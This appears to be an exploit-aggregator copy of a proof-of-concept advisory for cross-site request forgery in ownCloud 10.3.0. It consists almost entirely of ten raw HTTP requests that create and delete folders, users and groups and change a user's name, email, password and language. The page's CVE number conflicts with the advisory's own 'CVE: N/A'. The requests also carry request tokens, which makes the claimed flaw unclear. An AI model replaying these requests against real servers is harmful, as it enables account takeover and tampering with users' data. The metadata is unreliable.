ownCloud 10.3.0 Stable Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2019-9818	CWE-352	$500	High
Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-11-03
CPE
cpe:<CPE (Common Platform Enumeration) URI string>
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019110009

Below is a copy:

ownCloud 10.3.0 Stable Cross Site Request Forgery
# Exploit Title: ownCloud 10.3.0 stable - Cross-Site Request Forgery
# Date: 2019-10-31
# Exploit Author: Ozer Goker
# Vendor Homepage: https://owncloud.org
# Software Link: https://owncloud.org/download/
# Version: 10.3
# CVE: N/A

# Introduction
# Your personal cloud collaboration platform With over 50 million users
# worldwide, ownCloud is the market-leading open source software for
# cloud-based collaboration platforms. As an alternative to Dropbox, OneDrive
# and Google Drive, ownCloud offers real data security and privacy for you
# and your data.

##################################################################################################################################

# CSRF1
# Create Folder

MKCOL /remote.php/dav/files/user/test HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
VREONXtUByUsCkMAcRscHjUGHjYGPBoHJQgsfzoHWEk=:fUCe0mdAzn0T3MNKlKqYMEBFcezMTukbmbVeDs+jKlo=
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k


##################################################################################################################################

# CSRF2
# Delete Folder

DELETE /remote.php/dav/files/user/test HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
HDQcAi5jLSkkKysEGiYxZSA7PhcaCWEYFydhQ106YEM=:/pQReZNMrOXPXpc0yvQxQp9YQJ7q3HShA9D2+R2EJuI=
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k


##################################################################################################################################

# CSRF3
# Create User

POST /index.php/settings/users/users HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
eRIlHRIBJF0jU1w9CSY+AT8CX18gTh90JV8UQwQdfEg=:JVhMY8G9u7/iKplTfO00k7G5c2BqjoOcCWkAHYdZV5I=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 39
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

username=test&password=&email=test@test



##################################################################################################################################

# CSRF4
# Delete User

DELETE /index.php/settings/users/users/test HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
BQ8vIjp9LjACFxwEB2QkMSsuG14kHy4SKio6URckUlk=:6KbrqDMTTsoPE2vdrct1ofvSlGlcyVarSAOFV9PFuLQ=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k


##################################################################################################################################

# CSRF5
# Create Group

POST /index.php/settings/users/groups HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
BRd8ZDsAFREkB0YxdAIaYi8/ABsyCBIDExs/Wgw9a28=:6S14p9vurc5e6TH7vrotyqJBUvihbOXDUWMKYbS23UU=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

id=test


##################################################################################################################################

# CSRF6
# Delete Group

DELETE /index.php/settings/users/groups/test HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
aTElBwBqTAUYEEQacjdgER4hJ0QIA20sdF00CwtHUm0=:ZuhWKS/aNt7N0a2DGlH+Cz5m20b9e5aFOSBKkqJOALw=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k


##################################################################################################################################

# CSRF7
# Change User Full Name

POST /index.php/settings/users/user/displayName HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
fzYYPjtaVBUeKj8CBzojJHIgXTkTTT4GbR0vBT4TCm0=:LrUnpc7qHNLVElqq+m2VX4fG+py7Pa9FK8DpB84dSdY=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

displayName=user1&oldDisplayName=user


##################################################################################################################################

# CSRF8
# Change User Email

PUT /index.php/settings/users/user/mailAddress HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
QAkuGRpIMg88IzsXBTMeYREpCA4zLhcQHiMsQBo7WWo=:sMcIQqQkjGHCGeL4HdgaxWOQXNzrtIjAou6akezvpcI=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

mailAddress=user1%40example.com


##################################################################################################################################

# CSRF9
# Change User Password


POST /index.php/settings/personal/changepassword HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
fwkfaH9zECcMJR4CFS8EZSF5NhseCwkYciMXeVclBB4=:LMR84JsCZAmVWyV0x4YtUrQY4NAK9W75wnR46WsbXbU=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 62
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

oldpassword=1234&personal-password=1&personal-password-clone=1


##################################################################################################################################

# CSRF10
# Change Language

POST /index.php/settings/ajax/setlanguage.php HTTP/1.1
Host: 192.168.2.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
fwkfaH9zECcMJR4CFS8EZSF5NhseCwkYciMXeVclBB4=:LMR84JsCZAmVWyV0x4YtUrQY4NAK9W75wnR46WsbXbU=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://192.168.2.111
DNT: 1
Connection: close
Cookie:
oc_sessionPassphrase=OR9OqeaQvyNeBuV1nl53PSHIygj2x2pFuUkAADxM%2FtC02szlld2Y4paT3aMk28bZaspxaEBcsVuLqXjiWg5PGJ1YEb62nemDDPIHOJgQueBmroFVKinj4zQ2dojKhfOe;
ocpcgo18irip=kgso9su4gnmmre6jv1jb0f6v8k

lang=tr


##################################################################################################################################
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